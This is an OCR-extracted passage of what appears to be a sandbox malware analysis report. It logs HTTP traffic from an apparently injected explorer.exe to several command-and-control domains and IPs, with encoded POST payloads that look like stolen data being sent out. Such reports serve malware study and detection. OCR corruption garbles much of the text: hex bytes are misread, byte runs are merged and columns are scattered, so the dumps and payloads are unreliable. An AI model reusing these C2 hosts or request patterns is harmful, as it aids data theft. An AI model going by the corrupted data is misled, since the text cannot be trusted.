Data Raw: 3c 68 74 6d 6¢ 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6¢ 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f
74 69 74 6¢ 65 3e 3c 2f 68 65 61 64 3e 0d Oa 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3¢ 68 31 3e 34 30 33 20
46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69
6e 78 3c 2f 63 65 6e 74 65 72 3e 0d Oa 3c 2f 62 6f 64 79 3e 0d Oa 3c 2f 68 74 6d 6¢ 3e 0d Oa

Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><c
enter>nginx</center></body></html|>

Destination IP Destination Port Process

C:\Windows\explorer.exe

Data

POST /np8s/ HTTP/1.1

Host: www.vitality-patients.online

Connection: close

Content-Length: 416

Cache-Control: no-cache

Origin: http://www.vitality-patients.online

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://www.vitality-patients.online/np8s/

Accept-Language: en-US

Accept-Encoding: gzip, deflate

Data Raw: 33 66 6b 34 6f 4e 3d 65 50 6a 41 5a 74 35 61 58 43 5a 61 6b 4b 51 6b 70 71 44 4e 76 39 61 41 47 51 5a 50
4b 64 71 38 52 53 78 34 56 52 55 46 62 48 46 49 6a 31 76 34 66 77 64 59 31 78 47 67 45 76 6a 5f 37 78 54 48 45 6b 57
62 59 4d 6a 49 50 7a 57 37 74 66 78 73 61 50 6¢ 6a 38 65 47 31 66 45 41 50 53 66 7a 67 43 61 5a 76 64 6¢ 6a 77 35 45
68 70 61 4b 46 30 34 6b 6a 57 62 71 6d 53 63 49 54 6b 28 69 69 37 28 4a 77 6b 6d 48 78 61 41 46 69 37 53 57 48 70 62
79533934 7970 61 49 58 4d 77 65 6d 45 6¢ 71 72 33 71 52 6b 6f 72 51 4d 55 47 49 58 61 6e 59 66 4e 46 4f 64 32 57
43 5a 46 52 38 5a 6d 33 58 71 54 30 36 4e 66 48 7e 34 4e 45 79 50 34 37 46 45 4a 68 56 71 62 47 78 6a 4a 72 6¢ 6b 43
32 6b 53 5a 46 49 33 49 34 56 35 6e 49 39 78 64 52 33 49 73 77 41 73 64 57 79 72 39 67 65 4f 5a 6f 73 53 64 65 32 6d
57 67 6¢ 42 44 6b 41 6d 4f 31 67 4b 6e 6a 30 33 32 2d 79 48 56 78 30 70 47 37 7a 37 68 4d 46 77 7e 54 41 74 77 33 56
5531 66 7a 67 4a 78 67 43 37 65 6e 35 56 63 63 53 7a 36 52 63 55 6¢ 36 47 4b 43 6f 61 7a 5f 47 78 4e 4d 34 6a 64 70
7244 7e 31757156 71 61 7a5a 44 34 41 42 69 50 37 72 4d 54 55 4b 30 7e 4e 54 34 62 67 68 66 53 2d 58 35 68 53 51
6f 35 4e 44 69 69 44 66 35 63 4f 31 38 46 4e 55 4b 43 68 34 6b 28 58 4c 64 48 5a 49 2e 00 00 00 00 00 00 00 00

Data Ascii: 3fk4oN=ePjAZt5aXCZakKQkpgDNv9aAGQZPKdq8RSx4VRUFbHFIjlv4fwdY1XGgEvj_7xTHEKWbYM]
IPzZW7tfxsaPlj8eG1fEAPSfzgCazZvdljwSEhpaKF04kjWbamScITk(ii7 (JwkmHxaAFi7SWHpbyS94ypalXMwemElq
r3gRkorQMUGIXanYfNFOd2WCZFR8Zm3XqTO6NfH~4NEyP47FEJIhVabGxjIrIkC2kSZFI314V5nI9xdR3IswAsdWyr9
geOZosSde2mWgIBDkAMO1gKnj032-yHVX0pG7z7hMFw~TAtw3VU1fzgIxgC7en5VccSz6RcUIBGKCoaz_GxNM4jdpr
D~1uqVqazZD4ABiP7rMTUKO~NT4bghfS-X5hSQo5NDiiDf5cO18FNUKCh4k(XLAHZI.

HTTP/1.1 405 Not Allowed

Date: Fri, 27 May 2022 17:06:33 GMT

Content-Type: text/html

Content-Length: 154

Connection: close

Server: namecheap-nginx

Allow: GET, HEAD

Data Raw: 3c 68 74 6d 6c 3e 0d Oa 3c 68 65 61 64 3e 3c 74 69 74 6¢ 65 3e 34 30 35 20 4e 6f 74 20 41 6¢ 6¢ 6f 77 65 64
3c 2f 74 69 74 6¢ 65 3e 3c 2f 68 65 61 64 3e 0d Oa 3c 62 6f 64 79 3e 0d Oa 3c 63 65 6e 74 65 72 3e 3¢ 68 31 3e 34 30 35
20 4e 6f 74 20 41 6¢ 6¢ 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d Oa 3¢ 68 72 3e 3c 63 65 6e 74 65 72 3e
6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d Oa 3c 2f 62 6f 64 79 3e 0d Oa 3c 2f 68 74 6d 6¢ 3e 0d Oa

Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr>
<center>openresty</center></body></htm|>

Destination IP Destination Port Process

C:\Windows\explorer.exe

Data

POST /np8s/ HTTP/1.1

Host: www.vitality-patients.online
Connection: close
Content-Length: 36488
Cache-Control: no-cache

Origin: http://www.vitality-patients.online

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://www.vitality-patients.online/np8s/

Accept-Language: en-US
Accept-Encoding: gzip, deflate
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kBytes

Timestam
P transferred

Copyright Joe Security LLC 2022

Direction

Data Raw: 33 66 6b 34 6t 4e 3d 65 50 6a 41 5a 73 46 51 61 54 68 44 7e 4b 63 58 6b 34 43 4d 38 4d 71 47 45 67 64 55
fmfiP 75 6a 47 77 49 66 4b 44 4e 7Ta 61 48 4e 53 77 31 7a 5a 62 7a 73 46 31 7a 75 46 4e 35 7a 37 28 52 66 59 45 67 79
31 59 4d 6e 49 4f 33 54 6d 74 38 5a 4b 61 71 4a 67 78 65 47 4a 65 45 41 73 57 65 28 42 43 62 74 33 64 6¢C 72 67 7e 30
64 70 62 6f 4e 30 36 6d 4c 42 56 71 6d 49 66 4c 37 43 79 43 75 63 28 4a 35 6a 6d 47 4e 61 41 31 65 37 53 32 58 6d 5a
78 36 2d 31 43 70 6¢ 4e 58 4e 30 56 47 49 62 71 72 7a 55 52 6d 38 72 51 2d 67 47 4a 45 69 6e 4a 2d 4e 45 46 4e 33 63
47 5a 46 6d 34 5a 37 70 58 75 4c 34 36 4d 62 39 7e 4e 39 45 7a 5f 34 2d 42 58 35 44 52 39 37 64 7a 6a 56 63 6¢ 6b 66
39 6b 44 45 59 49 32 31 74 44 37 28 6a 68 6e 78 5f 33 4e 31 58 43 4d 64 4e 71 37 39 37 65 4f 5a 59 73 53 64 38 32 6d
6d 67 6¢ 47 58 6b 42 4557 31 78 61 6e 73 32 58 32 5f 71 33 56 69 77 6f 37 47 7a 36 4a 63 46 30 75 31 41 64 6b 33 58
47 39 66 69 31 39 79 6f 79 37 63 74 5a 56 47 50 43 7a 4c 52 63 56 49 36 48 4b 73 6f 4a 58 5f 48 67 4e 4d 36 77 31 70 74
7a7e 31 74 71 56 6f 44 44 56 70 34 41 5a 39 50 5f 6d 37 54 6e 47 30 28 63 7a 34 63 43 4a 66 51 4f 58 35 6f 79 52 6¢ 7e
76 50 70 70 79 7e 45 4c 2d 5a 4e 61 49 41 4b 4f 7a 45 70 69 6¢ 6e 68 62 2d 39 4a 66 69 72 65 70 57 28 47 49 48 6a 2d
7a 6f 53 2d 4a 59 61 31 75 33 4f 64 4e 35 72 34 46 51 69 63 48 6f 35 69 77 42 65 6b 4b 52 77 7a 34 59 4f 4a 57 77 45 4a
70 65 4c 46 55 58 6¢ 61 69 32 62 67 73 35 44 6a 72 61 37 64 36 48 38 69 65 69 47 54 37 46 44 56 32 42 76 48 6b 34 33
36513236 57 334c 3575 71 4c 58 30 58 79 76 4e 73 4a 7e 49 58 43 74 68 32 33 39 6b 30 58 49 50 79 6b 35 44 52 45
65 4c 76 5f 53 66 78 39 69 75 30 4f 72 65 75 50 58 2d 54 52 4d 51 50 32 43 75 78 53 5a 37 38 33 6f 7a 6b 45 6e 59 35 67
6a 4f 54 37 30 42 79 64 38 6¢ 30 6b 67 48 75 5f 78 77 54 56 6e 6d 55 35 38 52 77 6b 4b 6f 4f 59 6d 46 43 70 51 7a 4c 72
6b 6f 67 48 55 6e 58 70 78 51 34 33 66 38 78 73 4c 5f 33 55 75 52 6b 49 32 49 67 43 43 34 7a 5f 7e 49 45 31 70 4f 4d 68
6d 3157 3262 77 49 65 28 75 4a 31 67 77 72 79 7a 6f 6d 6d 32 47 75 6d 39 37 34 76 52 65 45 64 31 51 73 73 51 48 72
44 59 35 76 34 6b 4b 55 67 39 41 67 4555 72 76 44 43 39 74 51 34 4f 4f 69 48 32 30 2d 55 4f 28 36 50 77 5a 5a 63 42 6
Cc 41 6e 55 28 77 4e 79 45 47 79 66 4f 47 31 6¢ 4a 47 62 4e 34 58 50 34 71 46 63 7a 52 48 4a 4c 30 4f 4d 68 74 33 6b 4a
6d 70 50 42 46 4e 4e 79 31 4e 72 63 76 57 65 30 47 4f 72 64 6d 31 6¢ 72 76 50 72 46 46 4c 48 67 47 63 68 53 53 32 4a
4f 6b 66 41 2d 6d 42 30 31 50 79 57 64 72 4b 6f 50 32 33 6f 4f 37 2d 53 42 50 4f 78 52 50 57 45 59 64 61 49 62 50 36 66
733551 59 4f 37 61 47 4e 48 63 36 32 31 32 48 36 5a 66 4b 5f 78 5a 77 48 70 2d 5a 6d 36 41 76 48 36 6d 34 74 34 67
50 4c 64 38 39 30 7e 73 67 5a 59 6d 6f 47 48 33 35 48 69 72 79 76 52 7a 42 53 74 7a 54 74 47 49 6¢ 63 76 35 79 42 4a
3532 6d 4e 4a 58 39 74 4a 6d 4d 32 47 5359 73 7451 59 59 71 64 33 31 77 34 69 76 70 41 51 38 66 36 32 6b 64 66 71
324357 316d 5247 675264 47 41 34 66 32 2d 72 4f 44 49 49 53 32 36 63 37 46 47 6b 42 41 41 33 5f 6a 52 57 39 63
59 79 6¢ 55 41 78 66 6b 64 5a 7a 7e 6e 75 63 38 5a 4c 33 75 48 45 6¢ 6f 52 37 6a 56 59 6¢ 71 32 6b 75 30 47 4e 63 69
6b 5f 47 7a 43 36 54 61 71 4a 75 50 7e 55 79 41 42 56 41 70 49 53 38 56 37 34 7e 76 36 7a 46 5f 63 73 54 38 46 65 44
36 7a 53 79 2d 76 43 46 37 31 31 68 32 6¢ 39 4f 73 62 6¢ 75 73 73 77 69 63 34 68 43 52 77 6a 4a 58 67 38 28 38 37 33
39 47 4d 76 76 38 78 78 46 2d 52 5a 38 64 66 6b 48 5a 36 63 4c 6a 6d 45 52 62 75 58 49 48 58 75 56 35 4a 56 77 57 34
36 36 44 7e 74 34 34 4e 58 35 4d 45 43 4a 42 58 54 78 6b 65 2d 34 53 36 64 57 45 7e 4c 28 39 52 72 46 6b 57 62 59 44
3159 77 3336 56 45 6e 50 71 31 69 4b 7a 43 7a 70 46 55 4c 42 5f 48 37 63 4d 52 4c 6b 31 69 53 49 41 48 4f 53 6e 58
4d 55 67 4f 47 6b 74 32 63 36 67 39 78 46 65 32 6a 37 76 4e 47 75 47 38 6d 42 64 45 71 75 39 35 4a 38 63 68 7a 51 72
62 77 53 4e 77 52 58 37 6a 6f 4a 69 47 48 49 37 42 43 4b 4d 59 7a 54 34 58 6d 7a 50 56 71 74 78 34 4b 56 78 62 4b 46
48 37 46 73 6¢ 5a 7a 62 5a 37 70 56 62 6d 4f 66 43 66 4f 68 33 55 77 6f 50 61 78 65 52 53 6¢ 6a 52

Data Ascii: 3fk4oN=ePjAZsFQaThD~KcXk4CM8MqGEgdUJfujGwIfKDNzaHNSw1zZbzsF1zuFN5z7(RfYEgylYMn
103Tmt8ZKaqJgxeGJeEAsWe(BCbt3dIrg~0dpboNO6mLBVgmIfL7CyCuc(J5imGNaAle7S2XmZx6-1CpINXNOVGIbqg
rzURmM8rQ-gGJEInJ-NEFN3cGZFm4Z7pXuL46Mb9~N9Ez_4-BX5DR97dzjVclkfOkDEY121tD7(jhnx_3N1XCMdNq79
7e0ZYsSd82mmgIGXkBEW1xans2X2_q3Viwo7Gz6JcFOulAdk3XG9fi19yoy7ctZVGPCzLRcVIEHKs0IX_HgNM6éwlpt
z~1tqVoDDVp4AZ9P_m7TnG0(cz4cCIQOX50yRI~vPppy~EL-ZNalAKOzEpilnhb-9JfirepW(GIHj-zoS-JYalu30
dN5r4FQicHo5iwBekKRwz4YOJWwEJpeLFUXIai2bgs5Djra7d6H8ieiGT7FDV2BvHk436Q26W3L5ugLX0XyvNsJ~IX
Cth239k0XIPyk5DREeLv_Sfx9iu00reuPX-TRMQP2CuxSZ7830zkEnY5gjOT70Byd8I0kgHuU_xwTVnmU58RwkKoOYm
FCpQzLrkogHUNXpxQ43f8xsL_3UuRkI2IgCC4z_~IE1pOMhm1W2bwle(uJlgwryzomm2Gum974vReEd1QssQHrDY5v
4kKUg9AgEUrvDC9tQ400iH20-UO(6PwZZcBIAnU(WNYEGYfOG11IGbN4XP4gFczRHILOOMht3kIJmpPBFNNy1NrcvWe
0GOrdm1IrvPrFFLHgGchSS2JOkfA-mB01PyWdrkKoP23007-SBPOXRPWEYdalbP6fs5QYO7aGNHCc6212H6ZfK_xZwHp-
Zm6AVHEmMAt4gPLd890~sgZYMoGH35HiryvRzBStzTtGllcv5yBI52mNJIX9tImM2GSYstQY Y qd31w4ivpAQ8fe2kdf
g2CW1mRGgRAGA4f2-rODIIS26c7FGKBAA3_jRWIcYyIUAxfkdZz~nuc8ZL3uHEIoR7jVYIq2kuOGNcik_GzC6TaqJu
P~UyABVApIS8V74~v6zF_csT8FeD6zSy-vCF711h2I90sblusswic4hCRwjJXg8(8739GMvv8xxF-RZ8dfkHZ6cLjm
ERbuXIHXuV5JVwW466D~t44NX5MECJIBXTxke-4S6dWE~L(9RrFkWbYD1Yw36VEnPqliKzCzpFULB_H7cMRLK1iSIAH
OSnXMUgOGkt2c6g9xFe2j7vNGuG8mBdEqu95J8chzQrbwSNwWRX7joJiGHI7BCKMYZzT4XmzPVqtx4KVxbKFH7FsIZzb
Z7pVbmOfCfOh3UwoPaxeRSIjR0O-5pdi1lolzx7w3gWeEwJz9vWWZq1J5zwYIAq3rmSFIN49zIugZEsvOrlAPHAX7L8
Qkns95hFhFcOtK0AzribISZWRIIMRgnTqUvcz02WkJ_~200xbvCfagyof0O1_p323Vy19dugoplxXbrL1tPbj(hnQq
TAS5yxtWQNJX3Yds1wDj3JxznTH-QENDFJuaqL 7ufnRddulaexzIByvwky7AY745kZGCw-9IMhvwKRIiXdVTdyMKZGYh
KttEINEMibP(9xhes2PBNAWf1D-1sejUmjDyjPzNdCygDgsGSO8AZgl4AaGRmC5BeDBerkKz(m9p9oLfwVIDk_Tqwgp
CQkujBt5DTRMyueXeR_WrO9zpACmKIJITmIKPXRzhYalGFu04nsRTm7vN1CARBYq75ZGd16 SgQpJDP9pidjyhyZxAB6
EWe30v5tVrOBgpymjeEjbwAfPA730QVV46K(YKjGSzeskkF1GrXDnpRR9e07_z7k686G5(Dizxs5HVISCIMYVSIL39
BjJt_uSjaAErFopg8crDBTR(tqON-Oy TWXMKoictKEJ3qfDhi6iQ2pkONrRzUo_QS6_37jdzs8KqIJDEWRY 1tYxqlAl
S0gDjEId7245UrGIdQmAPQXQa~qWDKtisQ4ZOgvXeruggpdv3tyPruQOaQPHcAVnvhiwKDcH9ot(Wsobckco2ulyyY
BHNn8FhGoNABeHtdkkXnoNgR(sYc0gPngJplae2HDXCQ6kS1VRjZnUjKitcSpKIY17rjjYN21rnflZMWD1e7QypCmGF
LZHo45yp_csBMM48190(w3fHNCaDuPmVy2fOuLKLzK6yWc_Esc3w9WJ4alyeHMziuvsv2QHZsVA7xHx2J(BSeetau5
SfOUzOedZhjy6 TMjs4VWPBApP1(U6960n9Imwg3IrGOwxHigLdocTaFISBxy-d2Hk4vCUVhxSfT~0AASRLG2-5McPrLX
rQlllIEaLLdudrXhn4dFAMAKZeesvBEcrbfGOWIZImvdtQAV-FIVdF0s4SvQEL3ZOONrNpLN65MFIAIIPFNpoYteltSH
X16P8~UAFAKWwY6EKLIFEKkv7zAIXBEXKTVz1fDo_P1wZXhVDX0AmMuCn6J131g4H33IgVIT1hEX~MI3Km84ptQYZ3ZVc
VPAVp2fWIleQMXwMbsiaUN96NOXAFABLX39JtdSn(QXjkRrZ60EqDJI3a~JK430(YcmBgRTIIMPKWTcg7IJWK26Gu35tA
t8aXM108B83tzAFvUqQI5XVIWBs520JGKTqpMs3C_Xy8fWNzgklJKRFvAFDIKIejKI2L5XSXsd59ypY CekjIsS5Crt
dYLpWZFoldJiBBnvHAOrjF-(6zc6k7bsqHZUbT YtixU1DsUioX1wFW6ial ZkjKt3JOUR2jHzY VhHPpznVWyQBieLdh
DYXOO0GFswFmyleLcllkFDoMGmhPwx0euBBOBWdA~92ug3La5VMOyYkN_AyTHsB~PgsXsARn8s7No~5TVX
iVS7VPFebZ5(EFmZy66VvsvDizb55pzDsoOjhx6kaViM-e_AzEp~yh-X7dM2YvbnSWHiIQpV60yDJWCFADIE2QISBFr
jbZyq6Ir6gImauvzgZ-bCtbk41B9s7r5vYFjikKPISCjRicVVTNCnOvOKzVpCTLG TuA8ay2hCa493fu0_xmdf3RzDc
RSONIRLNoCnWaK8AZmmQouJkun8gbZrMBgeBJOQfY oHrjW6xBwEyJIN2i-11K7nM51QpsNsff5iw~eViokvZQE75zb3
Rvhq8GtvLvu~XjxDERVNJEhaJlsxC2coRsvOIiTH~u4vTi5cXof3RVRvAW5Zi3AcxW4JInAjpSFNjRXRzUVhSB5FOAMN
FymBvcTm5JoCOv9a5bBOM9bvmEuobUWmmSlekbfsRSMkpu7OP5eLEgeP)9-Ay To5ZLvrgUBAg4KZk716tzZWv2TNk_O
h~593pIsWvmNQzy7EbljyhIXMTsYzaV5xYZvOWckwulQzOPI6Q1~aPgLWCzBv5FcSnVB8jlgYr07GoYrrteDxGZkat
ROt~NR1CBznV7eXACcCtANMgbrCym9_whl4srww(4YEHoWV4vJHDmM3UxYzCaCRVhZZrl3Z27¢(6salLBUSjdhlprg_F
PndJ3xGTZ7WH0afWJOipReMBROUGnNeliwc_7aBI6h05Syw5KNY pjOpLbmWWh9~mpDt500L VawSUKRFjF
U1eGjRgf4HOyUKXwlyUT14wl-tY92pw2TjKhQYgJ Thrb6~Qu-dROZpWh2ND3CUHBVgcVg0O2zKIBvMSzSZh7PpjMMcl
fAT1IYA4-BpTWWIiCn2g(TgyocWOEJ2TJOOMVPeEbKBYXW7CTuV5Zd6EoaHSYIwS3tlcetnrrr2NO3v54N94vjc39vj
08DiZ6VVVGRL578~DWJUJI_6keuRvBgkSmL7K2SMhFIBN9GZzAVpdiLmQy3PIgpoMWR3BGn3QOv83FHuk
jkQSpYWNEUORSbxCHi8SOZyFUp23q0Gi-ge(DLrly9-zQhiZJ8qbK4LGTIznGXrNGJIpIXokClpBliA4IxwOKefa6nC
xg_mCYsYOMPMzbF~QoFdErTKD(y5kyF2VrxQI8jLHjwnaerfgDTuWcAX-2EJyf3USCe5MjhuwXbOdNOFv~LM9z5Uyx
NDSkw4bXndTpH2AObAacxveX6TrPJjCe4PvWiptMHOs6StGltcsylt2Qf~Es2oxgRipjw2FV7Xp45b
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kBytes

Timestamp Direction Data
transferred
May 27, 2022 529 IN HTTP/1.1 405 Not Allowed
19:06:33.808926105 Date: Fri, 27 May 2022 17:06:33 GMT
CEST Content-Type: text/html
Content-Length: 154
Connection: close
Server: namecheap-nginx
Allow: GET, HEAD
Data Raw: 3c 68 74 6d 6¢ 3e 0d Oa 3c 68 65 61 64 3e 3c 74 69 74 6¢ 65 3e 34 30 35 20 4e 6f 74 20 41 6¢ 6¢ 6f 77 65 64
3c 2f 74 69 74 6¢ 65 3e 3c 2f 68 65 61 64 3e 0d Oa 3c 62 6f 64 79 3e 0d Oa 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35
20 4e 6f 74 20 41 6¢ 6¢ 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d Oa 3c 68 72 3e 3¢ 63 65 6e 74 65 72 3e
6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d Oa 3c 2f 62 6f 64 79 3e 0d Oa 3c 2f 68 74 6d 6¢ 3e 0d Oa
Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr>
<center>openresty</center></body></html>
Session ID Source IP Source Port Destination IP Destination Port Process
3 192.168.2.6 49780 85.159.66.93 80 C:\Windows\explorer.exe
Timestamp e Direction Data
transferred
May 27, 2022 148 ouT GET /np8s/?3fkdoN=cDXfWuCokJFrdCwhVntnDB+RdogU7uBP5U/Sv42Lexzi+FyRpCsvSOHB1BJBbWkp2bvyUO/j
19:05:12.425146103 bw==&Eh=mhUx| HTTP/1.1
CEST Host: www.siberup.xyz
Connection: close
Data Raw: 00 00 00 00 00 00 00
Data Ascii:
May 27, 2022 172 IN HTTP/1.1 404 Not Found
19:05:12.478106976 Server: nginx/1.14.1
CEST Date: Fri, 27 May 2022 17:05:12 GMT
Content-Length: 0
Connection: close
X-Rate-Limit-Limit: 5s
X-Rate-Limit-Remaining: 9
X-Rate-Limit-Reset: 2022-05-27T17:05:17.4548107Z
Session ID Source IP Source Port Destination IP Destination Port Process
30 192.168.2.6 49843 198.54.117.217 80 C:\Windows\explorer.exe
kB!
Timestamp ytes Direction Data
transferred
May 27, 2022 537 ouT GET /np8s/?3fkdoN=RNX6HKFDckILmbBcOPWX652dIgRYJcuZVnkY PjFZaGFpi0fgSjcQ52/zY ZHNiyjWOOCOcN7H
19:06:33.809384108 Sw==&Eh=mhUx| HTTP/1.1
CEST Host: www.vitality-patients.online
Connection: close
Data Raw: 00 00 00 00 00 00 00
Data Ascii:
Session ID Source IP Source Port Destination IP  Destination Port Process
31 192.168.2.6 49853 162.0.230.89 80 C:\Windows\explorer.exe
kB
Timestamp vtes Direction Data
transferred
May 27, 2022 541 ouT GET /np8s/?3fk4oN=+1vSQSU4VFPBNkLSBEMH3DU8MRg7YeugbcMOyIP3MOivye7s4zRc3erRZEMEN43A2RNb83bcy
19:06:50.014827967 SA==&Eh=mhUxI HTTP/1.1
CEST Host: www.topings33.com

Connection: close
Data Raw: 00 00 00 00 00 00 00
Data Ascii:
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kBytes

Timestamp transferred
May 27, 2022 542
19:06:50.254405975
CEST
Session ID Source IP
32 192.168.2.6

. kBytes
LHILEE transferred
May 27, 2022 678
19:07:14.051239014
CEST
Session ID Source IP
33 192.168.2.6

. kBytes
T

imestamp transferred
May 27, 2022 687
19:07:14.218133926
CEST

Copyright Joe Security LLC 2022

Direction

IN

Source Port

49866

Direction

ouT

Source Port

49867

Direction

ouT

Destination IP

23.19.171.24 80

Destination IP

23.19.171.24 80

Data

HTTP/1.1 404 Not Found

Date: Fri, 27 May 2022 17:06:50 GMT

Server: Apache/2.4.29 (Ubuntu)

Content-Length: 279

Connection: close

Content-Type: text/html; charset=iso-8859-1

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20
48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0a 3¢ 74 69 74 6¢ 65 3e 34 30 34 20 4e
6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46
6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4¢ 20 77 61 73 20 6e 6f 74 20 66
6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41
7061 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 77 77 77 2e 74 6f 70
69 6e 67 73 33 33 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74
6d 6¢ 3e Oa

Data Ascii: <IDOCTYPE HTML PUBLIC "-/IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title></head>
<body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.29
(Ubuntu) Server at www.topings33.com Port 80</address></body></htmI>

Destination Port Process

C:\Windows\explorer.exe

Data

POST /np8s/ HTTP/1.1

Host: www.harmlett.com

Connection: close

Content-Length: 416

Cache-Control: no-cache

Origin: http://www.harmlett.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://www.harmlett.com/np8s/

Accept-Language: en-US

Accept-Encoding: gzip, deflate

Data Raw: 33 66 6b 34 6f 4e 3d 49 64 53 47 7a 46 72 78 34 73 63 44 6b 31 73 59 6a 6b 28 59 69 47 49 42 77 4a 32 43
77 6a78 49 61 6551 73 58 45 31 56 79 30 76 34 58 73 4f 55 35 46 55 55 36 4e 6b 75 35 57 4c 78 38 4d 39 67 62 62 42
58 54 2d 7e 32 67 47 58 35 69 42 48 55 41 68 52 55 75 6f 43 52 47 54 52 6d 6¢ 32 38 46 61 4c 6b 64 67 6¢ 32 41 6e 4e 5
7 3149 64 35 65 6d 53 51 4f 34 5a 6b 6d 4a 74 50 56 38 71 52 62 6f 6f 36 4b 45 62 38 32 76 58 38 52 43 4a 37 6e 5a 39
64 72 64 6a 52 38 54 47 74 4a 4b 73 57 30 34 62 4c 7a 30 78 61 56 4e 45 6a 5a 37 36 56 51 62 5f 71 6a 51 69 32 31 35
7a 54 66 28 35 5a 77 56 4b 4e 44 79 69 62 7a 4e 4b 54 63 44 33 58 6f 35 6a 46 58 34 74 65 41 7a 31 54 6b 37 7a 64 56
30 74 6¢c 4b 71 38 71 52 58 32 69 72 28 65 79 76 38 45 50 49 4f 42 42 63 41 4e 54 65 43 52 73 63 66 66 55 66 64 5f 37
4978 76 75 54 56 30 72 34 64 57 7a 78 4d 50 75 68 55 6f 36 44 67 4f 53 61 77 38 78 7a 64 5f 71 41 67 6¢ 38 77 5a 48
43 67 41 50 38 62 6d 72 65 5a 48 70 5a 72 76 72 6f 73 71 52 58 50 7e 49 52 57 63 56 73 54 42 36 4d 79 6d 33 61 58 64
78 4550 5a 61 76 59 73 5a 31 61 74 64 32 64 6b 35 55 6e 39 36 49 72 69 54 74 35 5a 51 30 64 67 65 48 54 38 37 7e 5f
55 44 67 45 4a 36 43 73 75 6a 74 2d 70 42 35 57 44 7a 58 56 41 4e 6b 64 4e 51 38 2e 00 00 00 00 00 00 00 00

Data Ascii: 3fk4oN=IdSGzFrx4scDk1sYjk(YiGIBwJ2CwjxlaeQsXE1Vy0v4XsOU5FUUBNKku5WLXx8M9gbbBXT-~
29GX5iBHUAhRUU0CRGTRmI28Falkdgl2AnNW11d5emSQ0O4ZkmJtPV8qRboo6KEb82vX8RCJI7nZ9drdjR8TGtIKSW04
bLz0xaVNEjZ76VQb_qjQi215zTf(5ZwVKNDyibzNKTcD3X05jFX4teAz1Tk7zdVOtIKq8qRX2ir(eyvBEPIOBBCANT
eCRscffufd_7IxvuTVOr4dWzxMPuhUo6DgOSaw8xzd_gAgl8wZHCgAP8bmreZHpZrvrosqRXP~IRWcVsTB6Mym3aXd
XEPZavYsZ1latd2dk5Un96IriTt5ZQ0dgeHT87~_UDgEJ6Csujt-pB5WDzXVANKANQS.

Destination Port Process

C:\Windows\explorer.exe

Data

POST /np8s/ HTTP/1.1

Host: www.harmlett.com

Connection: close

Content-Length: 36488

Cache-Control: no-cache

Origin: http://www.harmlett.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://www.harmlett.com/np8s/

Accept-Language: en-US

Accept-Encoding: gzip, deflate

Data Raw: 33 66 6b 34 6f 4e 3d 49 64 53 47 7a 46 6e 5a 31 34 74 56 71 46 68 32 69 78 7a 4d 74 53 4d 50 33 35 79 47
28 4377 51 4e 50 42 58 61 68 4a 42 7a 77 72 2d 54 66 37 62 39 45 63 4d 36 50 38 44 30 46 75 35 35 73 78 68 62 62 49
45 54 5f 4b 32 68 46 57 6d 69 6a 28 79 41 44 35 58 71 49 44 6f 55 44 52 5f 76 69 38 6f 61 4b 51 72 67 6¢ 7e 51 6d 39 36
31 4a2d 42 65 76 31 38 48 6e 70 6b 38 53 74 66 4a 79 4b 73 4c 6f 6f 7a 50 45 5a 34 32 75 6e 77 52 54 63 7a 6d 62 36 6
8735554523557 47 73 4a 41 4d 4b 6e 34 62 4f 6d 30 7a 65 56 4f 32 48 5a 34 4f 5a 51 4f 2d 71 67 4543 32 77 6f 6a 5
364 37 34 6¢ 68 56 4c 6¢ 78 79 6a 66 5a 4e 5a 7a 63 44 48 58 70 38 77 6¢ 31 70 75 48 41 67 6¢ 4f 30 37 7a 52 38 7a 38
